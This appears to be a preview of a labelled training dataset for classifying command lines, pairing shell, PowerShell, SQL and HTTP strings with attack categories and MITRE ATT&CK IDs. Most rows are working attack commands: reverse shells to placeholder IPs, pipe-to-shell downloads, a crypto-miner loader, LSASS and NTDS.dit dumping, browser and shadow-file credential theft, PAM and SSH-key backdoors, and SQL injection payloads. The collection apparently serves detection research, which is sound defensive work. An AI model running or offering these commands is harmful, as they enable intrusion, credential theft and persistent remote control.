text stringlengths 4 527 | label stringclasses 7
values | label_id int64 0 6 | language stringclasses 5
values | mitre_technique stringclasses 83
values | template_id stringclasses 377
values |
|---|---|---|---|---|---|
New-Service -Name sysupdate -BinaryPathName 'C:\ProgramData\install.exe' -StartupType Automatic | persistence | 4 | powershell | T1543.003 | persistence-045 |
git log -p | grep -iE 'password|secret|api_key' | head -n 10 | credential_harvesting | 2 | bash | T1552.001 | credential_harvesting-050 |
smbclient -L //203.0.113.132 -N | reconnaissance | 1 | bash | T1590 | reconnaissance-022 |
cp /tmp/pam_lib12.so /lib/x86_64-linux-gnu/security/ && sed -i '1i auth sufficient pam_lib12.so' /etc/pam.d/sshd | persistence | 4 | bash | T1556.003 | persistence-037 |
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('198.51.100.171',8443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}" | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-020 |
New-LocalUser -Name 'sysadm' -Password (ConvertTo-SecureString 'Passw0rd1' -AsPlainText -Force); Add-LocalGroupMember -Group 'Administrators' -Member 'sysadm' | persistence | 4 | powershell | T1136.001 | persistence-016 |
wget -qO- http://198.51.100.215:8080/install62.sh | sh | download_execute | 5 | bash | T1105 | download_execute-001 |
COpy-Item "$enV:LOCALAPPDATA\GoOgLe\CHromE\UseR DaTA\DefAult\LOgIN Data" $eNv:TEMP\Payload13.db | credential_harvesting | 2 | powershell | T1555.003 | credential_harvesting-024 |
for p in 22 80 443 445 3389; do (echo > /dev/tcp/198.51.100.109/$p) 2>/dev/null && echo "$p open"; done | reconnaissance | 1 | bash | T1046 | reconnaissance-004 |
powershell.exe -Command "$x=[System.Net.WebRequest]::Create('http://198.51.100.139/kdev17');$r=New-Object IO.StreamReader($x.GetResponse().GetResponseStream());iex $r.ReadToEnd()" | download_execute | 5 | powershell | T1059.001 | download_execute-042 |
docker logs -f --tail 22 api | benign | 0 | bash | null | benign-009 |
Invoke-WebRequest -Uri https://downloads.example.org/conf29.msi -OutFile $env:TEMP\conf29.msi | benign | 0 | powershell | null | benign-051 |
powershell.exe -Command "$sm=(New-Object Net.Sockets.TCPClient('192.0.2.145',53)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}" | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-047 |
SELECT u.name, o.total FROM users u JOIN orders o ON o.user_id = u.id WHERE o.total > 31; | benign | 0 | sql | null | benign-075 |
032 AND 1=(SELECT CASE WHEN (SUBSTR(user,1,1)='a') THEN 1 ELSE 0 END FROM dual) | sql_injection | 6 | sql | T1190 | sql_injection-034 |
sudo hydra -L users.txt -P passwords.txt ssh://198.51.100.73 -t 4 | credential_harvesting | 2 | bash | T1110.003 | credential_harvesting-016 |
for p in 22 80 443 445 3389; do (echo > /dev/tcp/192.0.2.241/$p) 2>/dev/null && echo "$p open"; done | reconnaissance | 1 | bash | T1046 | reconnaissance-004 |
GET /api/v1/users?page=14&limit=22 HTTP/1.1 | benign | 0 | http | null | benign-148 |
rustscan -a 203.0.113.191 --ulimit 5000 -- -sV | reconnaissance | 1 | bash | T1046 | reconnaissance-049 |
SELECT * FROM events WHERE created_at LIKE '%billing%'; | benign | 0 | sql | null | benign-077 |
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File agent33.txt | credential_harvesting | 2 | powershell | T1558.003 | credential_harvesting-021 |
perl -e 'use Socket;$i="203.0.113.70";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' | reverse_shell | 3 | bash | T1059 | reverse_shell-010 |
SELECT u.name, o.total FROM users u JOIN orders o ON o.user_id = u.id WHERE o.total > 23; | benign | 0 | sql | null | benign-075 |
& "C:\Program Files\Microsoft Visual Studio\Common7\IDE\dump64.exe" (Get-Process lsass).Id C:\Temp\payload.dmp | credential_harvesting | 2 | powershell | T1003.001 | credential_harvesting-059 |
curl -k https://198.51.100.26:8000/xmrig -o /var/tmp/.out8 && chmod +x /var/tmp/.out8 && /var/tmp/.out8 -o pool.example.com:80 --donate-level 1 -B | download_execute | 5 | bash | T1105 | download_execute-008 |
powershell.exe -Command "Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File loader2.txt" | credential_harvesting | 2 | powershell | T1558.003 | credential_harvesting-021 |
0' OR '1'='1' -- /* | sql_injection | 6 | sql | T1190 | sql_injection-000 |
curl -s http://203.0.113.244/k.pub >> ~/.ssh/authorized_keys | persistence | 4 | bash | T1098.004 | persistence-032 |
nikto -h http://198.51.100.138 | reconnaissance | 1 | bash | T1595 | reconnaissance-020 |
curl -k https://198.51.100.104:443/xmrig -o /var/tmp/.loader && chmod +x /var/tmp/.loader && /var/tmp/.loader -o pool.contoso.test:8443 --donate-level 1 -B | download_execute | 5 | bash | T1105 | download_execute-008 |
Add-Content -Path $PROFILE -Value 'Start-Process -WindowStyle Hidden $env:APPDATA\update92.exe' | persistence | 4 | powershell | T1546.013 | persistence-018 |
git log -p | grep -iE 'password|secret|api_key' | head -n 11 | credential_harvesting | 2 | bash | T1552.001 | credential_harvesting-050 |
sudo nikto -h http://198.51.100.206 | reconnaissance | 1 | bash | T1595 | reconnaissance-020 |
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.0.2.223:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' | reverse_shell | 3 | bash | T1059 | reverse_shell-042 |
nmap -sS -p- -T4 198.51.100.23 | reconnaissance | 1 | bash | T1046 | reconnaissance-000 |
$s=New-Object IO.StreamReader((New-Object Net.Sockets.TcpClient('203.0.113.74',10951)).GetStream()) | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-048 |
impacket-GetUserSPNs ad.example.org/ec2-user:'Summer#99' -dc-ip 198.51.100.134 -request | credential_harvesting | 2 | bash | T1558.003 | credential_harvesting-015 |
SELECT COUNT(*) FROM products GROUP BY region HAVING COUNT(*) > 6; | benign | 0 | sql | null | benign-073 |
esEnTUTl.eXe /y /vSs C:\WinDOWs\NTDS\ntDs.dit /D C:\TemP\inStall.DiT | credential_harvesting | 2 | cmd | T1003.003 | credential_harvesting-069 |
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" $env:TEMP\run17.db | credential_harvesting | 2 | powershell | T1555.003 | credential_harvesting-024 |
powershell.exe -Command "$s=New-Object IO.StreamReader((New-Object Net.Sockets.TcpClient('192.0.2.231',8080)).GetStream())" | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-048 |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 203.0.113.38 8080 >/tmp/f | reverse_shell | 3 | bash | T1059.004 | reverse_shell-005 |
powershell.exe -NoProfile -NonInteractive -EncodedCommand RwBlAHQALQBTAGUAcgB2AGkAYwBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAUwB0AGEAdAB1AHMAIAAtAGUAcQAgACcAUgB1AG4AbgBpAG4AZwAnAA== | benign | 0 | powershell | null | benign-060 |
Copy-Item -Path C:\inetpub\wwwroot\*.docx -Destination \\files18.service.example\share\backup | benign | 0 | powershell | null | benign-054 |
fetch -o - http://198.51.100.38/x.sh | sh | download_execute | 5 | bash | T1105 | download_execute-031 |
for p in 22 80 443 445 3389; do (echo > /dev/tcp/203.0.113.210/$p) 2>/dev/null && echo "$p open"; done | reconnaissance | 1 | bash | T1046 | reconnaissance-004 |
sudo ldapsearch -x -H ldap://198.51.100.2 -b 'dc=corp,dc=example' '(objectClass=user)' sAMAccountName | reconnaissance | 1 | bash | T1590 | reconnaissance-058 |
openssl s_client -quiet -connect 192.0.2.55:8443 | /bin/sh 2>&1 | openssl s_client -quiet -connect 192.0.2.55:8000 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-016 |
INSERT INTO orders (name, email) VALUES ('alice', 'alice@acme.test'); | benign | 0 | sql | null | benign-071 |
abc1;SELECT pg_sleep(5) | sql_injection | 6 | sql | T1190 | sql_injection-041 |
awk 'BEGIN {s = "/inet/tcp/0/198.51.100.243/1337"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null | reverse_shell | 3 | bash | T1059 | reverse_shell-013 |
/usr/bin/curl -k https://198.51.100.202:8080/xmrig -o /var/tmp/.svc && chmod +x /var/tmp/.svc && /var/tmp/.svc -o pool.example.org:53 --donate-level 1 -B | download_execute | 5 | bash | T1105 | download_execute-008 |
& "C:\Program Files\Microsoft Visual Studio\Common7\IDE\dump64.exe" (Get-Process lsass).Id C:\Temp\run6.dmp | credential_harvesting | 2 | powershell | T1003.001 | credential_harvesting-059 |
' UNION SEleCT NULL,nULl,Null,@@versiOn-- - | sql_injection | 6 | sql | T1190 | sql_injection-004 |
SELECT username, password, email FROM users INTO OUTFILE '/var/www/html/payload.txt'; | credential_harvesting | 2 | sql | T1555 | credential_harvesting-040 |
'%20or%20'X'='X | sql_injection | 6 | sql | T1190 | sql_injection-025 |
hydra -L users.txt -P passwords.txt ssh://192.0.2.30 -t 4 | credential_harvesting | 2 | bash | T1110.003 | credential_harvesting-016 |
cmd.exe /c "net share & net session & net view \\app1.example.org" | reconnaissance | 1 | cmd | T1135 | reconnaissance-084 |
Test-NetConnection -ComputerName 192.0.2.218 -Port 445 -InformationLevel Quiet | reconnaissance | 1 | powershell | T1046 | reconnaissance-072 |
Get-ChildItem -Path C:\Users\jenkins\Documents -Recurse -Filter *.log | Remove-Item | benign | 0 | powershell | null | benign-046 |
InVoKE-WebRequeSt http://203.0.113.113/install.dlL -OUTFile $env:TEMP\inStalL.dLl; rUndLl32 $env:TEMP\InsTall.dll,DlLMain | download_execute | 5 | powershell | T1218.011 | download_execute-043 |
uname -a; cat /etc/*-release; hostname; w; last -n 27 | reconnaissance | 1 | bash | T1082 | reconnaissance-062 |
/bin/sh -i 5<> /dev/tcp/203.0.113.88/8443 0<&5 1>&5 2>&5 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-031 |
QuseR & QWInstA | reconnaissance | 1 | cmd | T1033 | reconnaissance-085 |
$client = New-Object System.Net.Sockets.TCPClient('192.0.2.91',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$send... | reverse_shell | 3 | powershell | T1059.001 | reverse_shell-019 |
Register-ScheduledTask -TaskName 'dbus-helper' -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -Action (New-ScheduledTaskAction -Execute 'C:\ProgramData\loader.exe') -User SYSTEM | persistence | 4 | powershell | T1053.005 | persistence-044 |
Test-NetConnection -ComputerName 192.0.2.118 -Port 445 -InformationLevel Quiet | reconnaissance | 1 | powershell | T1046 | reconnaissance-072 |
GET /index.php?cat=10'+AND+1=CONVERT(int,@@version)-- HTTP/1.1 | sql_injection | 6 | http | T1190 | sql_injection-045 |
robocopy C:\inetpub\wwwroot \\app9.example.net\backup /MIR /R:2 | benign | 0 | cmd | null | benign-064 |
crackmapexec smb 192.0.2.0/24 -u postgres -p passwords.txt --continue-on-success | credential_harvesting | 2 | bash | T1110.003 | credential_harvesting-017 |
git log -p | grep -iE 'password|secret|api_key' | head -n 26 | credential_harvesting | 2 | bash | T1552.001 | credential_harvesting-050 |
SELECT COUNT(*) FROM events GROUP BY email HAVING COUNT(*) > 33; | benign | 0 | sql | null | benign-073 |
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role > /tmp/.c | credential_harvesting | 2 | bash | T1552.005 | credential_harvesting-007 |
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'sysupdate' -Value 'powershell -w hidden -nop -c IEX(IWR http://198.51.100.243/stage2.ps1)' | persistence | 4 | powershell | T1547.001 | persistence-013 |
GET /index.php?cat=49'+AND+1=CONVERT(int,@@version)-- HTTP/1.1 | sql_injection | 6 | http | T1190 | sql_injection-045 |
cp /etc/shadow /tmp/.tmp72 && chmod 644 /tmp/.tmp72 | credential_harvesting | 2 | bash | T1003.008 | credential_harvesting-041 |
SELECT username, password, email FROM events INTO OUTFILE '/var/www/html/x.txt'; | credential_harvesting | 2 | sql | T1555 | credential_harvesting-040 |
fetch -o - http://198.51.100.162/loader.sh | sh | download_execute | 5 | bash | T1105 | download_execute-031 |
/usr/bin/curl -s http://192.0.2.6:8080/shell.sh | bash -i >& /dev/tcp/192.0.2.6/5555 0>&1 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-046 |
ldapsearch -x -H ldap://203.0.113.16 -b 'dc=corp,dc=example' '(objectClass=user)' sAMAccountName | reconnaissance | 1 | bash | T1590 | reconnaissance-058 |
sudo docker run --rm -d 203.0.113.127:5000/health64:latest | download_execute | 5 | bash | T1105 | download_execute-036 |
0'+UNION+sELEcT+nUlL,NuLL,nULl+INTO+OUTfILE+'/Var/www/html/Lib.phP'--+- | sql_injection | 6 | sql | T1190 | sql_injection-037 |
%" OR ""="" | sql_injection | 6 | sql | T1190 | sql_injection-016 |
telnet 198.51.100.86 4444 | /bin/bash | telnet 198.51.100.86 8000 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-017 |
curl "http://198.51.100.148/item.php?id=35%27%20UNION%20SELECT%201,2,3--%20-" | sql_injection | 6 | bash | T1190 | sql_injection-049 |
/item?id=8%20AND%20SLEEP(15) | sql_injection | 6 | http | T1190 | sql_injection-023 |
Powershell -Nop -c "$clIent = New-ObjECT SystEm.NEt.SocKEts.TCPCliEnT('203.0.113.236',8080)" & rem Interactive | reverse_shell | 3 | cmd | T1059.003 | reverse_shell-053 |
& "C:\Program Files\Microsoft Visual Studio\Common7\IDE\dump64.exe" (Get-Process lsass).Id C:\Temp\update.dmp | credential_harvesting | 2 | powershell | T1003.001 | credential_harvesting-059 |
UPDATE invoices SET status = 'active' WHERE id = 28; | benign | 0 | sql | null | benign-070 |
iwr http://192.0.2.16/loader74.ps1 -useb | iex | download_execute | 5 | powershell | T1059.001 | download_execute-037 |
/bin/sh -i 5<> /dev/tcp/198.51.100.121/1337 0<&5 1>&5 2>&5 | reverse_shell | 3 | bash | T1059.004 | reverse_shell-031 |
cmd.exe /c "net user backup2 Passw0rd1 /add & net localgroup administrators backup2 /add" | persistence | 4 | cmd | T1136.001 | persistence-022 |
curl -fsSL http://192.0.2.171/conf76 -o /tmp/.conf76 && chmod +x /tmp/.conf76 && /tmp/.conf76 | download_execute | 5 | bash | T1105 | download_execute-002 |
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('203.0.113.127',9001)" & rem interactive | reverse_shell | 3 | cmd | T1059.003 | reverse_shell-053 |
%41 UNIOn SeLeCt sku, passworD FRom CuStoMers -- | sql_injection | 6 | sql | T1190 | sql_injection-028 |
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("cdn-helpdesk.acme.test",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' | reverse_shell | 3 | bash | T1059.006 | reverse_shell-039 |
docker run --rm -d 203.0.113.228:5000/update:latest | download_execute | 5 | bash | T1105 | download_execute-036 |
curl -s http://192.0.2.29/k.pub >> ~/.ssh/authorized_keys | persistence | 4 | bash | T1098.004 | persistence-032 |
1..254 | % { Test-Connection -Count 1 -Quiet 203.0.113.$_ } | reconnaissance | 1 | powershell | T1018 | reconnaissance-071 |
x1/**/AND/**/(SElECT/**/sLEEp(5))--/**/-/**/--/**/- | sql_injection | 6 | sql | T1190 | sql_injection-006 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.